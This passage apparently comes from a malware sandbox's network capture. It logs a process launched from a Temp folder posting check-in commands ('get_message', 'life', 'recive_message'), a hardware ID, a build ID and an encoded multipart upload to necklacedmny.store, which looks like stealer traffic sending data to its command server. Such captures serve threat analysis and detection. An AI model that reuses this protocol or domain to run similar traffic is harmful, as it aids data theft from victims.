2024-11-01 09:57:48 UTC	214	IN	Data Raw: 64 30 0d 0a 59 4b 48 70 74 58 44 77 48 4b 2b 63 4a 5a 33 5a 54 39 74 46 39 55 69 51 4f 57 6b 2f 50 2f 4d 41 6b 35 4b 32 47 69 38 34 49 43 38 37 32 73 76 41 55 73 6f 2b 78 2b 68 52 37 65 4d 54 39 42 6e 61 65 61 67 4d 52 77 30 4f 78 69 36 69 6f 34 55 30 48 67 35 38 41 41 2f 48 6a 2b 6c 66 6c 48 6e 4a 73 6b 44 6c 76 47 33 33 5a 35 4d 38 73 67 4e 5a 45 78 32 57 49 71 6d 69 79 7a 5a 55 47 6c 55 4e 57 6f 4f 42 77 51 53 41 4a 76 4f 7a 65 62 4c 6f 64 2b 35 72 78 33 6d 6c 46 31 67 4f 44 4e 30 78 70 63 36 5a 64 30 5a 57 52 58 4e 50 30 34 6a 62 46 4a 39 78 67 66 6c 64 2b 50 74 6a 2b 53 4f 42 61 71 6f 4a 52 52 31 61 30 54 71 6a 37 2b 73 3d 0d 0a Data Ascii: d0YKHptXDwHK+cJZ3ZT9tF9UiQOWk/P/MAk5K2Gi84IC872svAUso+x+hR7eMT9BnaeagMRw0Oxi6io4U0Hg58AA/Hj+lflHnJskDlvG33Z5M8sgNZEx2WIqmiyzZUGlUNWoOBwQSAJvOzebLod+5rx3mlF1gODN0xpc6Zd0ZWRXNP04jbFJ9xgfld+Ptj+SOBaqoJRR1a0Tqj7+s=
2024-11-01 09:57:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50073	188.114.97.3	443	5448	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:48 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 09:57:48 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=420C14F6ADC7B7B7126FF666671B0391
2024-11-01 09:57:48 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4rhd6oqf81l3n5bk3rcdoc211m; expires=Tue, 25-Feb-2025 03:44:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XMsqqFPXXOnT0JL90a1E%2BTMfO8RviJ6zLzaLN3BDoBm7oNuY2685KMaYEPmkB%2BhuHnm68r8oMFcTbKIWfBZdG8rTVIpH8k9CtEDK0kd3bjWmfAdGWm88u%2Bs2Ma%2FjZxeeB2yxXEA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb05cfbae94762-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1955&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1474541&cwnd=251&unsent_bytes=0&cid=cfc21fe7ddf31fc1&ts=463&x=0"
2024-11-01 09:57:48 UTC	214	IN	Data Raw: 64 30 0d 0a 58 70 4e 73 66 5a 52 42 2f 2f 42 78 44 5a 4e 41 65 33 76 45 65 7a 6c 59 35 4a 36 2b 47 70 43 71 68 2b 49 48 64 69 37 2f 6d 4c 45 46 36 45 34 49 74 6e 76 64 6d 41 56 35 34 33 6f 6e 56 4a 68 55 43 47 44 52 73 49 77 72 70 59 53 32 30 7a 52 59 48 38 6e 45 6e 6a 48 31 43 69 47 37 4a 5a 71 57 58 32 6a 72 4a 56 6c 58 35 68 31 4e 65 74 36 75 6b 6a 6a 31 69 4c 33 53 65 6c 70 56 33 65 32 54 5a 4c 45 45 43 65 41 78 78 61 78 65 55 62 78 78 51 30 37 71 53 51 68 74 79 71 2b 50 4b 62 36 62 73 62 34 6f 47 30 65 52 2f 65 31 78 34 51 30 54 38 43 36 53 33 68 52 31 39 6d 4a 58 57 61 49 50 47 32 4c 55 73 70 78 2f 73 70 43 33 6e 31 6f 3d 0d 0a Data Ascii: d0XpNsfZRB//BxDZNAe3vEezlY5J6+GpCqh+IHdi7/mLEF6E4ItnvdmAV543onVJhUCGDRsIwrpYS20zRYH8nEnjH1CiG7JZqWX2jrJVlX5h1Net6ukjj1iL3SelpV3e2TZLEECeAxxaxeUbxxQ07qSQhtyq+PKb6bsb4oG0eR/e1x4Q0T8C6S3hR19mJXWaIPG2LUspx/spC3n1o=
2024-11-01 09:57:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	50113	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:58:14 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 09:58:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 09:58:14 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:58:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ba3pidq9f2fo366sh5n3fu4o6n; expires=Tue, 25-Feb-2025 03:44:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N7gf9jY0bEpAfhCZIhcJsuTUAcIMomjGcl5yN9jcm1CM3VhvFJhHsQG01yDEZrQj2dtP9%2Fjr9Fml4hncETs%2B%2BO6ZErYokFC4ku0Y%2FK1zK1Ejix5i53Wm70gmbCJMnbNC9vp9IEg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb06745d5145e8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1751&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1613370&cwnd=251&unsent_bytes=0&cid=bed7b45b0a512ed0&ts=554&x=0"
2024-11-01 09:58:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 09:58:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	50115	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:58:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 09:58:15 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 09:58:16 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:58:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dl87co44h5rtq23g6eaprqqmnk; expires=Tue, 25-Feb-2025 03:44:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4vJRbTb0ZakbwekMqYjOCfMnBmTOx7b7Dg4YwDXY1kBoaL0qKBe0bGzzc0iQQTsYnqeW8OgsdXez6u7gklM%2Fy4JHCmzGqCn0SgD4ObN%2Fj1xBT8R2rx%2FpAra0OD78vSe7xQpTavg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb067daf9b478d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1819&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1576483&cwnd=239&unsent_bytes=0&cid=ac69eef8c2a69220&ts=506&x=0"
2024-11-01 09:58:16 UTC	356	IN	Data Raw: 34 64 32 0d 0a 64 72 48 50 6e 44 53 4b 65 45 6b 59 30 53 68 4a 30 65 38 66 67 42 6a 73 44 53 31 72 72 6d 63 66 75 70 42 70 4f 4b 7a 64 43 69 51 4e 6b 37 6d 2b 44 72 35 55 61 32 75 30 43 6e 4f 6c 6e 57 72 6c 4e 4d 35 73 53 55 6d 55 41 58 37 57 34 77 77 55 6a 71 74 6e 42 6b 7a 58 72 76 42 48 37 31 52 72 66 61 6b 4b 63 34 71 55 50 65 56 32 7a 6a 63 50 44 73 51 46 66 74 62 79 43 46 50 44 72 57 5a 48 48 74 32 6f 39 46 48 70 48 43 68 30 76 45 30 73 74 49 35 31 37 6e 47 42 5a 55 42 4a 67 6b 56 36 77 4c 4a 54 47 75 47 34 66 6b 55 37 30 4c 7a 33 46 76 64 55 4d 6a 71 30 52 6d 76 72 7a 58 37 6c 65 6f 42 72 53 51 44 47 44 33 66 65 38 77 31 53 33 4c 52 73 54 42 37 54 71 2f 56 62 34 41 67 6c 66 72 74 47 4b 72 36 4f 50 61 77 36 69 58 63 50 55 59 78 57 54 39 76 6a 47 6b Data Ascii: 4d2drHPnDSKeEkY0ShJ0e8fgBjsDS1rrmcfupBpOKzdCiQNk7m+Dr5Ua2u0CnOlnWrlNM5sSUmUAX7W4wwUjqtnBkzXrvBH71RrfakKc4qUPeV2zjcPDsQFftbyCFPDrWZHHt2o9FHpHCh0vE0stI517nGBZUBJgkV6wLJTGuG4fkU70Lz3FvdUMjq0RmvrzX7leoBrSQDGD3fe8w1S3LRsTB7Tq/Vb4AglfrtGKr6OPaw6iXcPUYxWT9vjGk
2024-11-01 09:58:16 UTC	885	IN	Data Raw: 35 63 72 68 42 4c 71 47 47 64 4f 39 33 6a 6d 4a 46 42 73 38 46 65 74 4c 34 42 46 44 4b 73 6d 56 41 46 4e 50 74 73 42 62 76 41 6d 73 69 38 32 6b 75 6f 34 70 78 39 44 69 30 4c 31 42 48 31 55 56 36 31 4c 4a 54 47 73 61 36 61 30 55 66 33 4b 37 32 58 66 6f 61 4f 58 79 2b 54 7a 6d 31 69 48 50 6f 65 5a 78 6c 51 51 2f 50 44 48 62 52 39 77 78 65 6a 76 45 6f 51 51 79 54 39 62 35 33 35 52 45 6e 63 4b 52 4b 61 36 7a 44 5a 4b 4a 39 67 69 38 58 53 63 67 45 65 64 6e 32 42 56 54 4b 73 32 35 49 47 64 79 72 39 46 62 76 45 43 4e 79 73 6b 63 67 76 49 31 34 37 33 36 49 59 30 34 4d 6a 45 73 39 33 2b 70 4c 41 6f 36 52 62 30 55 47 6b 5a 6a 39 57 4f 59 64 50 54 71 73 42 44 4c 7a 69 6e 47 69 49 73 35 68 53 67 62 65 42 47 2f 64 2f 42 6c 57 79 37 6c 6c 52 52 72 54 71 50 6c 62 35 68 Data Ascii: 5crhBLqGGdO93jmJFBs8FetL4BFDKsmVAFNPtsBbvAmsi82kuo4px9Di0L1BH1UV61LJTGsa6a0Uf3K72XfoaOXy+Tzm1iHPoeZxlQQ/PDHbR9wxejvEoQQyT9b535REncKRKa6zDZKJ9gi8XScgEedn2BVTKs25IGdyr9FbvECNyskcgvI14736IY04MjEs93+pLAo6Rb0UGkZj9WOYdPTqsBDLzinGiIs5hSgbeBG/d/BlWy7llRRrTqPlb5h
2024-11-01 09:58:16 UTC	1369	IN	Data Raw: 33 66 39 61 0d 0a 68 76 51 68 6e 5a 72 76 70 53 35 52 55 69 63 37 70 59 49 62 2b 44 62 2b 39 77 69 32 46 44 44 4d 4d 46 66 4e 6e 38 41 56 47 4f 38 53 68 42 44 4a 50 31 76 6e 6e 6c 43 6a 6c 77 75 46 74 70 68 6f 35 7a 37 48 32 59 4c 31 42 48 31 55 56 36 31 4c 4a 54 47 73 57 35 5a 45 6f 55 31 62 2f 77 57 66 6f 51 4f 58 36 39 54 69 65 39 68 48 44 74 66 35 78 72 54 78 76 4e 41 48 72 57 2f 78 6c 66 6a 76 45 6f 51 51 79 54 39 62 35 73 33 42 30 37 61 37 51 49 48 72 43 44 63 2b 56 73 7a 6e 41 42 45 49 77 43 63 5a 69 71 53 31 6e 43 73 6d 46 44 47 38 47 6e 38 6c 66 36 48 53 4a 7a 75 55 73 6c 76 49 5a 78 35 32 69 46 59 45 63 47 7a 51 68 77 30 2f 59 4c 47 6f 44 2f 62 31 35 55 69 2b 33 66 57 2b 63 49 4b 47 76 78 66 79 69 39 67 33 72 30 4f 70 45 68 56 6b 6e 4c 43 54 32 Data Ascii: 3f9ahvQhnZrvpS5RUic7pYIb+Db+9wi2FDDMMFfNn8AVGO8ShBDJP1vnnlCjlwuFtpho5z7H2YL1BH1UV61LJTGsW5ZEoU1b/wWfoQOX69Tie9hHDtf5xrTxvNAHrW/xlfjvEoQQyT9b5s3B07a7QIHrCDc+VsznABEIwCcZiqS1nCsmFDG8Gn8lf6HSJzuUslvIZx52iFYEcGzQhw0/YLGoD/b15Ui+3fW+cIKGvxfyi9g3r0OpEhVknLCT2
2024-11-01 09:58:16 UTC	1369	IN	Data Raw: 70 62 2f 61 45 67 59 32 4b 72 31 58 65 77 65 4b 33 65 34 52 43 57 36 67 58 58 75 66 5a 78 69 53 67 48 47 44 48 6a 55 2f 77 68 49 7a 62 34 6f 43 46 54 55 74 62 34 4f 71 44 30 59 54 5a 41 4b 4e 50 32 55 50 65 56 32 7a 6a 63 50 43 4d 51 43 63 39 7a 67 42 55 6a 41 75 47 68 41 48 4e 75 71 38 6c 6a 6d 43 43 4e 37 73 30 51 6b 75 34 52 35 34 33 36 4b 59 30 68 4a 67 6b 56 36 77 4c 4a 54 47 75 61 38 63 6c 78 57 2f 61 62 2b 55 66 67 4d 4d 44 71 73 42 44 4c 7a 69 6e 47 69 49 73 35 72 52 41 50 46 42 6e 54 63 2f 77 74 54 77 62 5a 67 53 78 7a 42 72 50 52 45 37 42 38 71 64 62 6c 4f 49 37 2b 43 63 65 5a 6f 68 53 38 42 53 63 73 64 50 59 43 79 4b 31 48 59 6e 48 70 55 56 4d 7a 6a 35 78 62 76 46 6d 73 69 38 30 4d 6e 73 6f 78 33 35 48 47 4c 59 6b 38 4d 78 67 4a 78 32 50 49 49 Data Ascii: pb/aEgY2Kr1XeweK3e4RCW6gXXufZxiSgHGDHjU/whIzb4oCFTUtb4OqD0YTZAKNP2UPeV2zjcPCMQCc9zgBUjAuGhAHNuq8ljmCCN7s0Qku4R5436KY0hJgkV6wLJTGua8clxW/ab+UfgMMDqsBDLzinGiIs5rRAPFBnTc/wtTwbZgSxzBrPRE7B8qdblOI7+CceZohS8BScsdPYCyK1HYnHpUVMzj5xbvFmsi80Mnsox35HGLYk8MxgJx2PII
2024-11-01 09:58:16 UTC	1369	IN	Data Raw: 64 4e 48 74 71 6c 2f 6c 6e 74 45 69 42 38 76 55 73 74 76 34 41 39 72 44 71 4a 64 77 39 52 6a 43 4a 6e 31 66 51 63 53 2f 75 34 61 42 64 55 7a 4f 50 6e 46 75 38 57 61 79 4c 7a 52 79 65 35 67 48 6a 6d 63 6f 6c 73 54 67 58 49 43 48 44 63 2b 77 39 66 33 4b 31 75 53 42 54 63 6f 2f 46 61 2b 68 51 75 65 72 38 4b 5a 66 4f 4b 5a 61 49 69 7a 6c 35 59 43 59 77 61 4d 38 47 79 44 46 61 4f 35 79 68 4a 47 63 47 68 38 56 62 70 47 53 39 78 74 45 77 74 73 6f 35 34 34 58 2b 49 62 6b 38 46 78 67 4a 31 30 76 77 47 58 4d 71 35 62 67 5a 61 6b 36 72 6d 46 72 42 61 47 58 65 39 51 79 69 31 67 47 76 4b 53 38 35 77 41 52 43 4d 41 6e 47 59 71 6b 74 65 78 62 64 6b 51 78 7a 57 72 50 5a 63 34 42 55 6b 61 4c 4a 46 49 72 53 47 63 4f 31 30 69 32 46 64 44 73 63 4f 64 64 48 38 44 52 71 41 2f Data Ascii: dNHtql/lntEiB8vUstv4A9rDqJdw9RjCJn1fQcS/u4aBdUzOPnFu8WayLzRye5gHjmcolsTgXICHDc+w9f3K1uSBTco/Fa+hQuer8KZfOKZaIizl5YCYwaM8GyDFaO5yhJGcGh8VbpGS9xtEwtso544X+Ibk8FxgJ10vwGXMq5bgZak6rmFrBaGXe9Qyi1gGvKS85wARCMAnGYqktexbdkQxzWrPZc4BUkaLJFIrSGcO10i2FdDscOddH8DRqA/
2024-11-01 09:58:16 UTC	1369	IN	Data Raw: 62 76 2f 68 57 34 78 49 73 63 72 64 45 4f 62 4b 43 50 61 77 36 69 58 63 50 55 59 77 30 61 39 2f 31 42 42 6a 6e 75 48 4e 48 48 74 43 6d 38 68 62 33 56 44 49 36 74 45 5a 72 36 38 31 77 37 6e 65 4b 66 55 4d 4a 7a 41 78 36 30 75 41 45 56 63 4f 38 61 45 4d 47 30 72 2f 78 58 65 30 5a 4c 33 57 38 52 69 4f 35 7a 54 4f 69 66 5a 59 76 46 30 6e 67 42 6d 7a 53 73 43 78 41 32 4c 68 6b 56 78 2f 65 6f 62 35 4a 70 67 4e 72 66 62 38 4b 63 2f 4f 4e 66 4f 39 6f 69 32 35 46 41 38 45 4e 63 74 33 33 42 46 37 4b 74 47 5a 55 47 74 79 74 2b 46 33 70 48 79 68 78 75 55 51 69 6f 63 30 7a 6f 6e 32 57 4c 78 64 4a 35 68 35 38 31 66 35 4a 64 4d 57 70 62 77 51 31 33 61 62 35 57 76 35 61 4e 44 53 71 43 69 79 2f 7a 53 57 69 63 34 42 6a 54 41 37 45 44 58 6a 59 2b 51 74 56 78 4c 46 76 56 42 Data Ascii: bv/hW4xIscrdEObKCPaw6iXcPUYw0a9/1BBjnuHNHHtCm8hb3VDI6tEZr681w7neKfUMJzAx60uAEVcO8aEMG0r/xXe0ZL3W8RiO5zTOifZYvF0ngBmzSsCxA2LhkVx/eob5JpgNrfb8Kc/ONfO9oi25FA8ENct33BF7KtGZUGtyt+F3pHyhxuUQioc0zon2WLxdJ5h581f5JdMWpbwQ13ab5Wv5aNDSqCiy/zSWic4BjTA7EDXjY+QtVxLFvVB
2024-11-01 09:58:16 UTC	1369	IN	Data Raw: 56 65 30 64 4f 7a 71 73 42 44 4c 7a 69 6e 47 69 49 73 35 76 53 77 58 50 41 6e 50 58 2f 77 52 64 78 62 42 69 53 41 62 63 71 50 5a 61 34 42 63 35 63 4c 6c 59 49 72 71 41 63 2b 70 6f 6a 53 38 42 53 63 73 64 50 59 43 79 4f 56 44 4e 73 33 35 4c 47 35 4f 79 73 45 2b 6f 48 53 63 36 36 77 6f 35 6f 59 31 32 34 6e 32 41 66 55 34 42 77 77 39 39 33 76 6b 42 57 63 65 37 5a 6b 38 53 30 71 44 2f 56 2b 67 66 4b 33 4f 68 52 32 76 39 7a 58 72 36 4f 74 59 76 65 41 58 48 4e 48 37 4f 73 68 51 55 31 2f 39 76 53 6c 53 4c 37 66 39 45 35 52 49 76 65 72 35 4d 49 4c 4b 4d 66 75 4a 36 6a 57 39 4b 41 73 4d 44 65 74 58 34 41 6c 50 63 74 32 78 55 46 4e 2b 70 76 68 69 6f 48 54 4d 36 36 77 6f 62 73 49 5a 78 34 6e 65 62 4c 31 42 48 31 55 56 36 31 4c 4a 54 47 73 61 30 59 30 41 66 30 4b 37 Data Ascii: Ve0dOzqsBDLzinGiIs5vSwXPAnPX/wRdxbBiSAbcqPZa4Bc5cLlYIrqAc+pojS8BScsdPYCyOVDNs35LG5OysE+oHSc66wo5oY124n2AfU4Bww993vkBWce7Zk8S0qD/V+gfK3OhR2v9zXr6OtYveAXHNH7OshQU1/9vSlSL7f9E5RIver5MILKMfuJ6jW9KAsMDetX4AlPct2xUFN+pvhioHTM66wobsIZx4nebL1BH1UV61LJTGsa0Y0Af0K7
2024-11-01 09:58:16 UTC	1369	IN	Data Raw: 54 31 72 2f 6d 6f 67 70 59 78 77 36 58 62 4d 62 6b 49 5a 79 30 55 7a 6d 50 52 4c 41 70 37 78 4b 45 49 46 6b 2f 57 75 42 4c 4e 50 65 43 33 6a 47 44 54 39 6c 44 33 30 4f 74 59 39 41 55 6e 65 52 53 57 59 74 51 68 49 33 4c 6c 72 55 42 65 55 6b 38 42 32 34 78 59 6f 64 72 4a 4e 61 2f 33 4e 63 71 49 69 74 79 39 4d 47 39 35 4b 62 4d 37 2f 47 31 32 43 74 33 6c 4c 47 4a 50 6a 76 68 72 73 45 53 64 2f 74 46 70 6b 6f 5a 31 32 37 6d 7a 43 61 31 31 4a 67 6b 56 73 30 2f 30 5a 56 4d 6e 77 65 56 41 5a 77 36 37 37 55 61 51 53 4f 6e 65 2f 43 6d 58 7a 6d 48 62 75 66 49 4e 36 41 42 6a 61 42 6d 76 66 76 67 4e 4c 77 37 4d 6f 65 56 71 54 74 62 34 4f 71 43 38 6f 64 4c 31 4e 50 61 4c 41 58 65 6c 32 6a 57 4e 4f 44 6f 78 4c 50 64 36 79 55 77 6d 41 2f 32 78 58 56 49 76 39 72 41 32 39 Data Ascii: T1r/mogpYxw6XbMbkIZy0UzmPRLAp7xKEIFk/WuBLNPeC3jGDT9lD30OtY9AUneRSWYtQhI3LlrUBeUk8B24xYodrJNa/3NcqIity9MG95KbM7/G12Ct3lLGJPjvhrsESd/tFpkoZ127mzCa11JgkVs0/0ZVMnweVAZw677UaQSOne/CmXzmHbufIN6ABjaBmvfvgNLw7MoeVqTtb4OqC8odL1NPaLAXel2jWNODoxLPd6yUwmA/2xXVIv9rA29
2024-11-01 09:58:16 UTC	1369	IN	Data Raw: 4d 59 4e 50 32 55 50 66 51 36 31 6a 77 42 53 64 35 46 4a 5a 69 31 42 56 66 50 76 47 5a 46 42 73 47 72 2f 55 44 72 58 52 56 45 6c 6b 63 6d 74 6f 4e 36 33 45 53 76 5a 56 38 45 77 77 4a 44 35 73 55 61 58 64 37 39 54 6b 55 43 30 4f 32 77 46 76 42 61 63 7a 71 53 51 44 75 2b 67 6e 71 69 4e 4d 35 72 44 31 47 4d 49 48 44 56 39 77 56 64 6a 4a 35 69 56 68 6e 63 71 72 34 59 71 42 5a 72 49 76 4e 4c 49 61 4f 41 63 75 55 32 69 58 56 49 53 59 4a 46 63 35 69 71 53 31 76 45 72 32 56 4a 45 35 2b 72 38 46 69 6f 42 57 56 6a 38 31 78 72 36 39 34 7a 6f 6d 6a 4f 4e 77 39 4f 77 67 68 38 32 2f 77 49 53 4e 79 35 61 31 41 58 6c 4a 50 41 63 2b 55 58 4c 6e 53 30 64 42 57 53 68 32 33 76 64 59 6b 74 62 77 37 61 42 6b 50 6d 78 52 70 64 33 76 31 4f 52 51 4c 51 37 62 41 57 38 46 70 7a 4f Data Ascii: MYNP2UPfQ61jwBSd5FJZi1BVfPvGZFBsGr/UDrXRVElkcmtoN63ESvZV8EwwJD5sUaXd79TkUC0O2wFvBaczqSQDu+gnqiNM5rD1GMIHDV9wVdjJ5iVhncqr4YqBZrIvNLIaOAcuU2iXVISYJFc5iqS1vEr2VJE5+r8FioBWVj81xr694zomjONw9Owgh82/wISNy5a1AXlJPAc+UXLnS0dBWSh23vdYktbw7aBkPmxRpd3v1ORQLQ7bAW8FpzO

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	50116	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:58:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-11-01 09:58:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:58:17 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-11-01 09:58:17 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:58:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n3of9neerask1m4tlci6v0i14v; expires=Tue, 25-Feb-2025 03:44:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jl3YgY4z2Kuc4Cl8wZ0tFrO8u%2FwKhvzGL2vb7EyCGMMR8RbLq91nk0d1a0JoTyZWRtwon%2B7XRkqLHMmyfzP1AcMlkauMerCwTjk4wldG4LPbK267ZC%2FRs7FWmjQtZSGD1HaNjvw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb06866ce70072-DFW alt-svc: h3=":443"; ma=86400 server-timing: 